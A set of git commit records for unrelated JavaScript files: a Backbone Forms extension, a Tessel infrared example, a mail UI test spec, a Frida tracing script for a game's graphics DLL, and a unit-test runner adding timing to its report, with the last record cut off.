<commit_before>/**
 * User: Martin Martimeo
 * Date: 13.08.13
 * Time: 18:30
 *
 * Extension to backbone_forms
 */

require(["jquery", "underscore", "backbone", "backbone_forms"],function ($, _, Backbone, BackboneForm) {
    var self = this.Tornado || {};
    var Tornado = this.Tornado = self;

    Tornado.BackboneForm = function (element, options) {
        this.$element = $(element);
        this.options = $.extend({}, Tornado.BackboneForm.DEFAULTS, options);

        if (this.options.model) {
            if (typeof this.options.model == "string") {
                this.model = this.options.model = new window[this.options.model]();
            } else {
                this.model = this.options.model;
            }
        }

        this.form = new Backbone.Form(this.options);
    };
    Tornado.BackboneForm.DEFAULTS = {};

    /**
     * (re)render the form
     *
     * Based on backbone-forms.js/render by Charles Davison
     */
    Tornado.BackboneForm.prototype.render = function () {
        var self = this.form,
            $form = this.$element,
            fields = this.form.fields;

        //Render standalone editors
        $form.find('[data-editors]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-editors');

            if (_.isUndefined(selection)) {
                return;
            }

            //Work out which fields to include
            var keys = (selection == '*')
                ? self.selectedFields || _.keys(fields)
                : selection.split(',');

            //Add them
            _.each(keys, function (key) {
                var field = fields[key];

                $container.append(field.editor.render().el);
            });
        });

        //Render standalone fields
        $form.find('[data-fields]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-fields');

            if (_.isUndefined(selection)) {
                return;
            }

            //Work out which fields to include
            var keys = (selection == '*')
                ? self.selectedFields || _.keys(fields)
                : selection.split(',');

            //Add them
            _.each(keys, function (key) {
                var field = fields[key];

                $container.append(field.render().el);
            });
        });

        //Render fieldsets
        $form.find('[data-fieldsets]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-fieldsets');

            if (_.isUndefined(selection)) return;

            _.each(self.fieldsets, function (fieldset) {
                $container.append(fieldset.render().el);
            });
        });

        //Set the main element
        self.setElement($form);

        //Set class
        $form.addClass(self.className);

        return self;
    };

    /**
     * Allows to facility html elements with backbone-forms or model functionality
     *
     * @param option
     */
    $.fn.backbone = function (option) {
        return this.each(function () {
            var $this = $(this);
            var data = $this.data('tb.backbone');

            var options = typeof option == 'object' && option;

            if (!data) {
                $this.data('tb.backbone', (data = new Tornado.BackboneForm(this, options)));
                $this.data('tb.backbone').render();
            }
            if (typeof option == 'string') {
                data[option]();
            }
        });
    };
    $.fn.backbone.Constructor = Tornado.BackboneForm;

    // Facile elements with backbone-forms
    $(window).on('load', function () {
        $('[data-model][data-require]').each(function () {
            var $form = $(this);

            require([$(this).data('require')], function () {
                $form.backbone($form.data())
            });
        });
        $('[data-model]:not([data-require])').each(function () {
            var $form = $(this);
            $form.backbone($form.data());
        });
    });

    return Tornado;
}).call(window);
<commit_msg>Allow schema and editorAttrs overwritten by html data-* nodes<commit_after>/**
 * User: Martin Martimeo
 * Date: 13.08.13
 * Time: 18:30
 *
 * Extension to backbone_forms
 */

require(["jquery", "underscore", "backbone", "backbone_forms"],function ($, _, Backbone, BackboneForm) {
    var self = this.Tornado || {};
    var Tornado = this.Tornado = self;

    Tornado.BackboneForm = function (element, options) {
        this.$element = $(element);
        this.options = $.extend({}, Tornado.BackboneForm.DEFAULTS, options);

        if (this.options.model) {
            if (typeof this.options.model == "string") {
                this.model = this.options.model = new window[this.options.model]();
            } else {
                this.model = this.options.model;
            }
        }

        this.form = new Backbone.Form(this.options);
    };
    Tornado.BackboneForm.DEFAULTS = {};

    /**
     * (re)render the form
     *
     * Based on backbone-forms.js/render by Charles Davison
     */
    Tornado.BackboneForm.prototype.render = function () {
        var self = this.form,
            $form = this.$element,
            fields = this.form.fields;

        //Render standalone editors
        $form.find('[data-editors]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-editors');

            if (_.isUndefined(selection)) {
                return;
            }

            //Work out which fields to include
            var keys = (selection == '*')
                ? self.selectedFields || _.keys(fields)
                : selection.split(',');

            //Add them
            _.each(keys, function (key) {
                var field = fields[key];

                $container.append(field.editor.render().el);
            });
        });

        //Render standalone fields
        $form.find('[data-fields]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-fields');

            if (_.isUndefined(selection)) {
                return;
            }

            //Work out which fields to include
            var keys = (selection == '*')
                ? self.selectedFields || _.keys(fields)
                : selection.split(',');

            //Add them
            _.each(keys, function (key) {
                var field = fields[key];

                field.schema = field.schema || {};
                field.schema = _.extend(field.schema, $container.data("schema"));

                var $el = $container.append(field.render().el);

                // Update editor Attrs
                field.schema.editorAttrs = field.schema.editorAttrs || {};
                field.schema.editorAttrs = _.extend(field.schema.editorAttrs, $container.data("editorAttrs"));
                $el.find("[data-editor] input").attr(field.schema.editorAttrs);

            });
        });

        //Render fieldsets
        $form.find('[data-fieldsets]').add($form).each(function (i, el) {
            var $container = $(el),
                selection = $container.attr('data-fieldsets');

            if (_.isUndefined(selection)) return;

            _.each(self.fieldsets, function (fieldset) {
                $container.append(fieldset.render().el);
            });
        });

        //Set the main element
        self.setElement($form);

        //Set class
        $form.addClass(self.className);

        return self;
    };

    /**
     * Allows to facility html elements with backbone-forms or model functionality
     *
     * @param option
     */
    $.fn.backbone = function (option) {
        return this.each(function () {
            var $this = $(this);
            var data = $this.data('tb.backbone');

            var options = typeof option == 'object' && option;

            if (!data) {
                $this.data('tb.backbone', (data = new Tornado.BackboneForm(this, options)));
                $this.data('tb.backbone').render();
            }
            if (typeof option == 'string') {
                data[option]();
            }
        });
    };
    $.fn.backbone.Constructor = Tornado.BackboneForm;

    // Facile elements with backbone-forms
    $('[data-model][data-require]').each(function () {
        var $form = $(this);

        require([$(this).data('require')], function () {
            $form.backbone($form.data())
        });
    });
    $('[data-model]:not([data-require])').each(function () {
        var $form = $(this);
        $form.backbone($form.data());
    });

    return Tornado;
}).call(window);
<|endoftext|>


<commit_before>// Any copyright is dedicated to the Public Domain.
// http://creativecommons.org/publicdomain/zero/1.0/

/*********************************************
This infrared module example transmits the
power signal sequence of an Insignia brand
television every three seconds, while also
listening for (and logging) any incoming
infrared data.
*********************************************/

var tessel = require('tessel');
var infrared = require('../').use(tessel.port['A']);  // Replace '../' with 'ir-attx4' in your own code

// When we're connected
infrared.on('ready', function() {
	if (!err) {
		console.log("Connected to IR!");
		// Start sending a signal every three seconds
		setInterval(function() {
			// Make a buffer of on/off durations (each duration is 16 bits)
			var powerBuffer = new Buffer([0, 178, 255, 168, 0, 12, 255, 246, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 224, 0, 13, 255, 224, 0, 12, 255, 224, 0, 12, 255, 224, 0, 12]);
			// Send the signal at 38 kHz
			infrared.sendRawSignal(38, powerBuffer, function(err) {
				if (err) {
					console.log("Unable to send signal: ", err);
				} else {
					console.log("Signal sent!");
				}
			});
		}, 3000); // Every 3 seconds
	} else {
		console.log(err);
	}
});

// If we get data, print it out
infrared.on('data', function(data) {
	console.log("Received RX Data: ", data);
});
<commit_msg>change format to follow the same as other examples<commit_after>// Any copyright is dedicated to the Public Domain.
// http://creativecommons.org/publicdomain/zero/1.0/

/*********************************************
This infrared module example transmits the
power signal sequence of an Insignia brand
television every three seconds, while also
listening for (and logging) any incoming
infrared data.
*********************************************/

var tessel = require('tessel');
var infrared = require('../').use(tessel.port['A']);  // Replace '../' with 'ir-attx4' in your own code

// When we're connected
infrared.on('ready', function() {
  if (!err) {
    console.log("Connected to IR!");
    // Start sending a signal every three seconds
    setInterval(function() {
      // Make a buffer of on/off durations (each duration is 16 bits)
      var powerBuffer = new Buffer([0, 178, 255, 168, 0, 12, 255, 246, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 224, 0, 13, 255, 224, 0, 12, 255, 224, 0, 12, 255, 224, 0, 12]);
      // Send the signal at 38 kHz
      infrared.sendRawSignal(38, powerBuffer, function(err) {
        if (err) {
          console.log("Unable to send signal: ", err);
        } else {
          console.log("Signal sent!");
        }
      });
    }, 3000); // Every 3 seconds
  } else {
    console.log(err);
  }
});

// If we get data, print it out
infrared.on('data', function(data) {
	console.log("Received RX Data: ", data);
});
<|endoftext|>


<commit_before>/* global Pixelated */

describeComponent('mail_view/ui/draft_button', function(){
  'use strict';

  describe('draft save button', function(){
    beforeEach(function(){
      this.setupComponent('<button></button>');
    });

    describe('after initialize', function(){
      it('should be enabled', function(){
        expect(this.$node).toBeDisabled();
      });
    });

    describe('when enabled', function(){
      beforeEach(function(){
        this.$node.prop('disabled', false);
      });

      it('should be disabled when saving draft message', function(){
        $(document).trigger(Pixelated.events.mail.saveDraft, {});
        expect(this.$node).toBeDisabled();
      });
    });

    describe('when disabled', function(){
      beforeEach(function(){
        this.$node.prop('disabled', true);
      });

      it('should be enabled when draft message has been saved', function(){
        $(document).trigger(Pixelated.events.mail.draftSaved, {});
        expect(this.$node).not.toBeDisabled();
      });
    });

  });
});
<commit_msg>Update draft_button.spec.js<commit_after>/* global Pixelated */

describeComponent('mail_view/ui/draft_button', function(){
  'use strict';

  describe('draft save button', function(){
    beforeEach(function(){
      this.setupComponent('<button></button>');
    });

    describe('after initialize', function(){
      it('should be disabled', function(){
        expect(this.$node).toBeDisabled();
      });
    });

    describe('when enabled', function(){
      beforeEach(function(){
        this.$node.prop('disabled', false);
      });

      it('should be disabled when saving draft message', function(){
        $(document).trigger(Pixelated.events.mail.saveDraft, {});
        expect(this.$node).toBeDisabled();
      });
    });

    describe('when disabled', function(){
      beforeEach(function(){
        this.$node.prop('disabled', true);
      });

      it('should be enabled when draft message has been saved', function(){
        $(document).trigger(Pixelated.events.mail.draftSaved, {});
        expect(this.$node).not.toBeDisabled();
      });
    });

  });
});
<|endoftext|>


<commit_before>"use strict";

const beginEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_BeginEvent");
const endEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_EndEvent");

const D3DPERF_BeginEvent = new NativeFunction(beginEventAddr, "int", ["uint32", "pointer"], "stdcall");
const D3DPERF_EndEvent = new NativeFunction(endEventAddr, "int", [], "stdcall");

const ffviiDllBase = Module.findBaseAddress("AF3DN2.P");
const idaBase = ptr(0x10000000);

function resolveAddr(addr) {
    const offset = ptr(addr).sub(idaBase);
    return ffviiDllBase.add(offset);
}

function beginEvent(name, numArgs, args, returnAddr) {
    let s = name + "(";

    for (let i = 0; i < numArgs; i++) {
        if (i > 0) {
            s += ", ";
        }

        s += "0x" + args[i].toString(16);
    }

    if (returnAddr.compare(ffviiDllBase) > 0) {
        s += ") (return to af3dn+0x" + returnAddr.sub(ffviiDllBase).toString(16) + ")";
    } else {
        s += ") (return to 0x" + returnAddr.toString(16) + ")";
    }

    let buf = Memory.allocUtf16String(s);
    D3DPERF_BeginEvent(0, buf);
}

let functions = {
    GfxFn_0: {
        address: 0x10001850,
        numArgs: 1
    },
    Shutdown: {
        address: 0x100018b0,
        numArgs: 1
    },
    GfxFn_8_C: {
        address: 0x100019b0,
        numArgs: 0
    },
    EndFrame: {
        address: 0x10001cb0,
        numArgs: 1
    },
    Clear: {
        address: 0x10002460,
        numArgs: 2
    },
    ClearAll: {
        address: 0x100025c0,
        numArgs: 0
    },
    SetScissor: {
        address: 0x100025e0,
        numArgs: 4
    },
    SetClearColor: {
        address: 0x10002810,
        numArgs: 1
    },
    GfxFn_40: {
        address: 0x100028b0,
        numArgs: 1
    },
    GfxFn_44: {
        address: 0x10002920,
        numArgs: 0
    },
    GfxFn_48: {
        address: 0x10002930,
        numArgs: 3
    },
    GfxFn_4C: {
        address: 0x100029a0,
        numArgs: 1
    },
    CreateTexture: {
        address: 0x10003380,
        numArgs: 3
    },
    GfxFn_54: {
        address: 0x10003a40,
        numArgs: 5
    },
    GfxFn_58: {
        address: 0x10003ab0,
        numArgs: 6
    },
    GfxFn_5C: {
        address: 0x10003db0,
        numArgs: 1
    },
    SetRenderState: {
        address: 0x10003e00,
        numArgs: 3
    },
    SetupRenderState: {
        address: 0x10003fd0,
        numArgs: 2
    },
    GfxFn_74: {
        address: 0x10004370,
        numArgs: 2
    },
    DrawMesh: {
        address: 0x100043b0,
        numArgs: 2
    },
    GfxFn_7C: {
        address: 0x100043e0,
        numArgs: 2
    },
    GfxFn_80: {
        address: 0x100044d0,
        numArgs: 2
    },
    GfxFn_84: {
        address: 0x10004530,
        numArgs: 2
    },
    GfxFn_88: {
        address: 0x10004640,
        numArgs: 2
    },
    ResetState: {
        address: 0x100046e0,
        numArgs: 1
    },
    GfxFn_90: {
        address: 0x10004760,
        numArgs: 0
    },
    DrawTiles: {
        address: 0x10004ae0,
        numArgs: 2
    },
    DrawTiles2: {
        address: 0x10004c00,
        numArgs: 2
    },
    DrawModel2: {
        address: 0x10004ac0,
        numArgs: 2
    },
    DrawModel3: {
        address: 0x10004be0,
        numArgs: 2
    },
    SetupRenderState2: {
        address: 0x10004a60,
        numArgs: 3
    },
    SetupRenderState3: {
        address: 0x10004b00,
        numArgs: 3
    },
    GfxFn_E4_E8: {
        address: 0x10004c20,
        numArgs: 2
    },
    GfxFn_EC: {
        address: 0x10004c90,
        numArgs: 0
    },

    Draw: {
        address: 0x1000b6a0,
        numArgs: 8
    },
    UseTexture: {
        address: 0x1000ce30,
        numArgs: 1,
        fastcall: true
    },
    SetTexture: {
        address: 0x1000ceb0
    }
};

for (let name in functions) {
    Interceptor.attach(resolveAddr(functions[name].address), {
        onEnter: function (args) {
            if (functions[name].fastcall) {
                args = [this.context.ecx, this.context.edx];
            }

            beginEvent(name, functions[name].numArgs, args, this.returnAddress);
        },

        onLeave: function (args) {
            D3DPERF_EndEvent();
        }
    });
}
<commit_msg>Remove return address stuff from the frida script.<commit_after>"use strict";

const beginEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_BeginEvent");
const endEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_EndEvent");

const D3DPERF_BeginEvent = new NativeFunction(beginEventAddr, "int", ["uint32", "pointer"], "stdcall");
const D3DPERF_EndEvent = new NativeFunction(endEventAddr, "int", [], "stdcall");

const ffviiDllBase = Module.findBaseAddress("AF3DN2.P");
const idaBase = ptr(0x10000000);

function resolveAddr(addr) {
    const offset = ptr(addr).sub(idaBase);
    return ffviiDllBase.add(offset);
}

function beginEvent(name, numArgs, args, returnAddr) {
    let s = name + "(";

    for (let i = 0; i < numArgs; i++) {
        if (i > 0) {
            s += ", ";
        }

        s += "0x" + args[i].toString(16);
    }

    let buf = Memory.allocUtf16String(s);
    D3DPERF_BeginEvent(0, buf);
}

let functions = {
    GfxFn_0: {
        address: 0x10001850,
        numArgs: 1
    },
    Shutdown: {
        address: 0x100018b0,
        numArgs: 1
    },
    GfxFn_8_C: {
        address: 0x100019b0,
        numArgs: 0
    },
    EndFrame: {
        address: 0x10001cb0,
        numArgs: 1
    },
    Clear: {
        address: 0x10002460,
        numArgs: 2
    },
    ClearAll: {
        address: 0x100025c0,
        numArgs: 0
    },
    SetScissor: {
        address: 0x100025e0,
        numArgs: 4
    },
    SetClearColor: {
        address: 0x10002810,
        numArgs: 1
    },
    GfxFn_40: {
        address: 0x100028b0,
        numArgs: 1
    },
    GfxFn_44: {
        address: 0x10002920,
        numArgs: 0
    },
    GfxFn_48: {
        address: 0x10002930,
        numArgs: 3
    },
    GfxFn_4C: {
        address: 0x100029a0,
        numArgs: 1
    },
    CreateTexture: {
        address: 0x10003380,
        numArgs: 3
    },
    GfxFn_54: {
        address: 0x10003a40,
        numArgs: 5
    },
    GfxFn_58: {
        address: 0x10003ab0,
        numArgs: 6
    },
    GfxFn_5C: {
        address: 0x10003db0,
        numArgs: 1
    },
    SetRenderState: {
        address: 0x10003e00,
        numArgs: 3
    },
    SetupRenderState: {
        address: 0x10003fd0,
        numArgs: 2
    },
    GfxFn_74: {
        address: 0x10004370,
        numArgs: 2
    },
    DrawMesh: {
        address: 0x100043b0,
        numArgs: 2
    },
    GfxFn_7C: {
        address: 0x100043e0,
        numArgs: 2
    },
    GfxFn_80: {
        address: 0x100044d0,
        numArgs: 2
    },
    GfxFn_84: {
        address: 0x10004530,
        numArgs: 2
    },
    GfxFn_88: {
        address: 0x10004640,
        numArgs: 2
    },
    ResetState: {
        address: 0x100046e0,
        numArgs: 1
    },
    GfxFn_90: {
        address: 0x10004760,
        numArgs: 0
    },
    DrawTiles: {
        address: 0x10004ae0,
        numArgs: 2
    },
    DrawTiles2: {
        address: 0x10004c00,
        numArgs: 2
    },
    DrawModel2: {
        address: 0x10004ac0,
        numArgs: 2
    },
    DrawModel3: {
        address: 0x10004be0,
        numArgs: 2
    },
    SetupRenderState2: {
        address: 0x10004a60,
        numArgs: 3
    },
    SetupRenderState3: {
        address: 0x10004b00,
        numArgs: 3
    },
    GfxFn_E4_E8: {
        address: 0x10004c20,
        numArgs: 2
    },
    GfxFn_EC: {
        address: 0x10004c90,
        numArgs: 0
    },

    Draw: {
        address: 0x1000b6a0,
        numArgs: 8
    },
    UseTexture: {
        address: 0x1000ce30,
        numArgs: 1,
        fastcall: true
    },
    SetTexture: {
        address: 0x1000ceb0
    }
};

for (let name in functions) {
    Interceptor.attach(resolveAddr(functions[name].address), {
        onEnter: function (args) {
            if (functions[name].fastcall) {
                args = [this.context.ecx, this.context.edx];
            }

            beginEvent(name, functions[name].numArgs, args, this.returnAddress);
        },

        onLeave: function (args) {
            D3DPERF_EndEvent();
        }
    });
}
<|endoftext|>


<commit_before>if (typeof define !== 'function') {
    var define = require('amdefine')(module);
}

define(["require","./deep"], function (require, deep) {

    function Unit(unit){
        if(unit)
            deep.utils.up(unit, this);
        //console.log("Unit created : ", this);
        this.tests  = this.tests || {};
    }

    Unit.prototype = {
        _deep_unit_:true,
        title:"Generic tests",
        stopOnError:true,
        options:null,
        setup : function(options){
        },
        clean : function(options){
            delete this.context;
        },
        run : function(tests, options)
        {
            options = options || {};
            tests = tests || [];
            if(!tests.forEach)
                tests = [tests];
            //console.log("unit context : ", context);
            var functions = deep.query(this.tests, "./["+tests.join(",")+"]", { resultType:"full" });
            var numberOfTests = functions.length;
            var stopOnError = this.stopOnError;
            if(typeof options.stopOnError !== 'undefined')
                stopOnError = options.stopOnError;
            if(console.group)
                console.group("unit : "+this.title);
            console.log("\n\n**********************************************************");
            console.log("*****  deep-unit : will run : ", this.title, " *****");
            console.log("\tStop on error ? ", stopOnError );
            console.log("\tNumber of tests : ",functions.length,"\n" );
            //console.log("\tContext : ",context,"\n\n" );
            var errors = [];
            var self = this;

            if(functions.length === 0)
            {
                console.log("**********************************************************");
                console.log("************* Nothing to do : aborting unit **************");
                console.log("**********************************************************");
                if(console.groupEnd)
                    console.groupEnd();
                return {
                    title:self.title,
                    numberOfTests:0,
                    success:0,
                    failure:0,
                    ommited:0,
                    errors:errors,
                    valid:true
                };
            }
            var results = [];
            var d = deep.when(this.setup(options));
            var closure = {};
            var applyTest = function(fn)
            {
                console.log("\n- unit test runned : ", fn.key);
                console.time(fn.key);
                closure.fn = fn;
                return deep.when(fn.value.call(self.context))
                .always(function(s,e){
                    console.timeEnd(fn.key);
                    if(e)
                        console.error("****** test failed ! ******* : ",fn.key, " error : ", e);
                    else
                        console.log("\tok !");
                });
            };
            var done = function(r)
            {
                results.push(r);
                if(functions.length > 0)
                    d.when(applyTest(functions.shift())).done(done).fail(fail);
            };
            var fail = function(error)
            {
                results.push(error);
                 errors.push({
                            unit:self.title,
                            test:closure.fn.key,
                            error:error
                        });
                deep.utils.dumpError(error);
                if(!stopOnError && functions.length > 0)
                    d.when(applyTest(functions.shift())).done(done).fail(fail);
                return true;
            };
            d.done(function(context)
            {
                self.context = context || {};
                console.log("\tsetup done.");
                console.time("unit");
                this.when(applyTest(functions.shift()))
                .done(done)
                .fail(fail);
            })
            .always(function(s,e)
            {
                //console.log("_______________________________________________ unit test result : ",s,e);
                console.log("\n*************", self.title, " : time ****************");
                console.timeEnd("unit");
                if(e || results.length < numberOfTests || errors.length > 0)
                    console.warn("*************",self.title," : FAILED **************");
                else
                    console.log("*************",self.title," : PASSED **************");

                if(errors.length > 0)
                {
                    console.log("\n\tErrors : ");
                    console.log("\t", e || errors);
                }

                console.log("\n\tNumber of tests : ", numberOfTests);
                console.log("\tsuccess : ", results.length-errors.length,"/",numberOfTests);
                console.log("\tfailure : ", errors.length,"/",numberOfTests);
                console.log("\tommited : ", numberOfTests-results.length,"/",numberOfTests);

                return self.clean();
            })
            .always(function(s,e)
            {
                if(e)
                    console.log("error while cleanin test : ",self.title, " : ", e);
                console.log("\n**************", self.title, " cleaned **************");
                console.log("***********************************************************");
                if(console.groupEnd)
                    console.groupEnd();
                return {
                    title:self.title,
                    numberOfTests:numberOfTests,
                    success:results.length-errors.length,
                    failure:errors.length,
                    ommited:numberOfTests-results.length,
                    //results:results,
                    errors:errors,
                    valid:((errors.length === 0) && (results.length == numberOfTests))
                };
            });
            return d;
        }
    };

    Unit.run = function(units, options){
        console.log("\n*******************************************************************");
        console.log("*************************** Units Bunch ****************************");
        var alls = [];
        if(!units.forEach)
            units = [units];
        units.forEach(function(unit){
            if(typeof unit === 'string')
                alls.push(deep.get(unit));
            else
                alls.push(unit);
        });
        var report = {
            errors:[],
            numberOfUnits:units.length,
            numberOfTests:0,
            success:0,
            failure:0,
            ommited:0
        };
        if(alls.length === 0)
            return deep.when(report);
        return deep.all(alls)
        .done(function(units){
            //console.log("units loaded : ", units);
            var results = [];
            var errors = [];
            var doTest = function(unit){
                console.log("\n\n\n*************** Executing unit : ", unit.title);
                return deep.when(unit.run("*",options));
            };
            console.time("bunch");
            var d = deep.when(doTest(units.shift()));
            var always = function(s,e){
                if(e)
                    report.errors.push(e);
                report.success += s.success;
                report.failure += s.failure;
                report.ommited += s.ommited;
                report.numberOfTests += s.numberOfTests;
                report.errors = report.errors.concat(s.errors);
                results.push(s);
                if(units.length > 0)
                    d.when(doTest(units.shift())).always(always);
                return true;
            };
            return d.always(always)
            .always(function(s,e){
                console.log("\n\n\n___________________________________________________________________");
                console.log("\n*******************************************************************");
                console.log("************************** Bunch time : ***************************");
                console.timeEnd("bunch");
                if(e)
                    console.log("error while executings tests bunch : ", e);
                console.log("*******************************************************************");
                console.log("********** tests bunch arrived to end : final report : ************");
                //console.log("\n",report,"\n");
                console.log("\n\tErrors: ", report.errors);
                console.log("\tNumber of units : ", report.numberOfUnits);
                console.log("\tNumber of tests : ", report.numberOfTests);
                console.log("\tsuccess : ", report.success,"/",report.numberOfTests);
                console.log("\tfailure : ", report.failure,"/",report.numberOfTests);
                console.log("\tommited : ", report.ommited,"/",report.numberOfTests);
                //console.log(JSON.stringify(report, null, ' '));
                console.log("\n*******************************************************************");
                console.log("*******************************************************************");
                console.log("___________________________________________________________________\n\n");
                return report;
            });
        })
        .fail(function(error){
            console.error("deep : Unit bunch failed to load : ", error);
        });
    };

    deep.Unit = Unit;

    return Unit;
});

<commit_msg>add time in report<commit_after>if (typeof define !== 'function') {
    var define = require('amdefine')(module);
}

define(["require","./deep"], function (require, deep) {

    function Unit(unit){
        if(unit)
            deep.utils.up(unit, this);
        //console.log("Unit created : ", this);
        this.tests  = this.tests || {};
    }

    Unit.prototype = {
        _deep_unit_:true,
        title:"Generic tests",
        stopOnError:true,
        options:null,
        setup : function(options){
        },
        clean : function(options){
            delete this.context;
        },
        run : function(tests, options)
        {
            options = options || {};
            tests = tests || [];
            if(!tests.forEach)
                tests = [tests];
            //console.log("unit context : ", context);
            var functions = deep.query(this.tests, "./["+tests.join(",")+"]", { resultType:"full" });
            var numberOfTests = functions.length;
            var stopOnError = this.stopOnError;
            if(typeof options.stopOnError !== 'undefined')
                stopOnError = options.stopOnError;
            if(console.group)
                console.group("unit : "+this.title);
            console.log("\n\n**********************************************************");
            console.log("*****  deep-unit : will run : ", this.title, " *****");
            console.log("\tStop on error ? ", stopOnError );
            console.log("\tNumber of tests : ",functions.length,"\n" );
            //console.log("\tContext : ",context,"\n\n" );
            var errors = [];
            var self = this;

            if(functions.length === 0)
            {
                console.log("**********************************************************");
                console.log("************* Nothing to do : aborting unit **************");
                console.log("**********************************************************");
                if(console.groupEnd)
                    console.groupEnd();
                return {
                    title:self.title,
                    numberOfTests:0,
                    success:0,
                    failure:0,
                    ommited:0,
                    errors:errors,
                    valid:true
                };
            }
            var results = [];
            var d = deep.when(this.setup(options));
            var closure = {};
            var applyTest = function(fn)
            {
                console.log("\n- unit test runned : ", fn.key);
                console.time(fn.key);
                closure.fn = fn;
                return deep.when(fn.value.call(self.context))
                .always(function(s,e){
                    console.timeEnd(fn.key);
                    if(e)
                        console.error("****** test failed ! ******* : ",fn.key, " error : ", e);
                    else
                        console.log("\tok !");
                });
            };
            var done = function(r)
            {
                results.push(r);
                if(functions.length > 0)
                    d.when(applyTest(functions.shift())).done(done).fail(fail);
            };
            var fail = function(error)
            {
                results.push(error);
                 errors.push({
                            unit:self.title,
                            test:closure.fn.key,
                            error:error
                        });
                deep.utils.dumpError(error);
                if(!stopOnError && functions.length > 0)
                    d.when(applyTest(functions.shift())).done(done).fail(fail);
                return true;
            };
            d.done(function(context)
            {
                self.context = context || {};
                console.log("\tsetup done.");
                console.time("unit");
                this.when(applyTest(functions.shift()))
                .done(done)
                .fail(fail);
            })
            .always(function(s,e)
            {
                //console.log("_______________________________________________ unit test result : ",s,e);
                console.log("\n*************", self.title, " : time ****************");
                console.timeEnd("unit");
                if(e || results.length < numberOfTests || errors.length > 0)
                    console.warn("*************",self.title," : FAILED **************");
                else
                    console.log("*************",self.title," : PASSED **************");

                if(errors.length > 0)
                {
                    console.log("\n\tErrors : ");
                    console.log("\t", e || errors);
                }

                console.log("\n\tNumber of tests : ", numberOfTests);
                console.log("\tsuccess : ", results.length-errors.length,"/",numberOfTests);
                console.log("\tfailure : ", errors.length,"/",numberOfTests);
                console.log("\tommited : ", numberOfTests-results.length,"/",numberOfTests);

                return self.clean();
            })
            .always(function(s,e)
            {
                if(e)
                    console.log("error while cleanin test : ",self.title, " : ", e);
                console.log("\n**************", self.title, " cleaned **************");
                console.log("***********************************************************");
                if(console.groupEnd)
                    console.groupEnd();
                return {
                    title:self.title,
                    numberOfTests:numberOfTests,
                    success:results.length-errors.length,
                    failure:errors.length,
                    ommited:numberOfTests-results.length,
                    //results:results,
                    errors:errors,
                    valid:((errors.length === 0) && (results.length == numberOfTests))
                };
            });
            return d;
        }
    };

    Unit.run = function(units, options){
        console.log("\n*******************************************************************");
        console.log("*************************** Units Bunch ****************************");
        var alls = [];
        if(!units.forEach)
            units = [units];
        units.forEach(function(unit){
            if(typeof unit === 'string')
                alls.push(deep.get(unit));
            else
                alls.push(unit);
        });
        var report = {
            errors:[],
            numberOfUnits:units.length,
            numberOfTests:0,
            success:0,
            failure:0,
            ommited:0
        };
        if(alls.length === 0)
            return deep.when(report);
        return deep.all(alls)
        .done(function(units){
            //console.log("units loaded : ", units);
            var results = [];
            var errors = [];
            var doTest = function(unit){
                console.log("\n\n\n*************** Executing unit : ", unit.title);
                return deep.when(unit.run("*",options));
            };
            var startTime = new Date().getTime();
            console.time("bunch");
            var d = deep.when(doTest(units.shift()));
            var always = function(s,e){
                if(e)
                    report.errors.push(e);
                report.success += s.success;
                report.failure += s.failure;
                report.ommited += s.ommited;
                report.numberOfTests += s.numberOfTests;
                report.errors = report.errors.concat(s.errors);
                results.push(s);
                if(units.length > 0)
                    d.when(doTest(units.shift())).always(always);
                return true;
            };
            return d.always(always)
            .always(function(s,e){
                report.time = new Date().getTime() - startTime;
                console.log("\n\n\n___________________________________________________________________");
                console.log("\n*******************************************************************");
                console.log("************************** Bunch time : ***************************");
                console.timeEnd("bunch");
                if(e)
                    console.log("error while executings tests bunch : ", e);
                console.log("*******************************************************************");
                console.log("********** tests bunch arrived to end : final report : ************");
                //console.log("\n",report,"\n");
                console.log("\n\tErrors: ", report.errors);
                console.log("\tNumber of units : ", report.numberOfUnits);
                console.log("\tNumber of tests : ", report.numberOfTests);
                console.log("\tsuccess : ", report.success,"/",report.numberOfTests);
                console.log("\tfailure : ", report.failure,"/",report.numberOfTests);
                console.log("\tommited : ", report.ommited,"/",report.numberOfTests);
                console.log("\ttime : ", report.time);
                //console.log(JSON.stringify(report, null, ' '));
                console.log("\n*******************************************************************");
                console.log("*******************************************************************");
                console.log("___________________________________________________________________\n\n");
                return report;
            });
        })
        .fail(function(error){
            console.error("deep : Unit bunch failed to load : ", error);
        });
    };

    deep.Unit = Unit;

    return Unit;
});

<|endoftext|>


<commit_before>ASTool.Messages = Ember.Namespace.create({
	overlay_blocked_links: 'Enable this options to highlight links not followed at crawl time in red and followed links in green.',
